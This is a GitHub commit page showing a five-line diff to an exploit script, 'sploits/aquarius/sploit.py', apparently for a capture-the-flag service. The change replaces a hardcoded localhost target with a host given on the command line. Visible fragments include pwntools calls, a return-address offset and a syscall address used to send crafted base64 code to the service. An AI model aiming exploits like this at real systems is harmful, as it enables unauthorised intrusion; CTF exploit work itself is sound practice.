Skip to content

Commit 4ad92ba

Browse files
committedDec 2, 2024·
fix sploit.py
1 parent c133fdc commit 4ad92ba

File tree

1 file changed

+5
-1
lines changed

1 file changed

+5
-1
lines changed
 

‎sploits/aquarius/sploit.py

+5-1
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,6 @@
11
from pwn import *
22
import aquarius_assembler as asm
3+
import sys
34
import base64
45

56
CODE_SIZE = 1024
@@ -16,6 +17,9 @@
1617
RET_ADDRESS_OFFSET = -0xAC0
1718
SYSCALL = 0x98FA6
1819

20+
HOST = sys.argv[1]
21+
PORT = 7117
22+
1923

2024
def main():
2125

@@ -64,7 +68,7 @@ def main():
6468

6569
code = code.ljust(CODE_SIZE, asm.hlt())
6670

67-
io = remote("localhost", 7117)
71+
io = remote(HOST, PORT)
6872
io.sendlineafter(b"> ", b"1")
6973
io.sendlineafter(b"base64 encoded rom> ", base64.b64encode(code))
7074
io.recvuntil(b"id: ")

0 commit comments

Comments
 (0)
Please sign in to comment.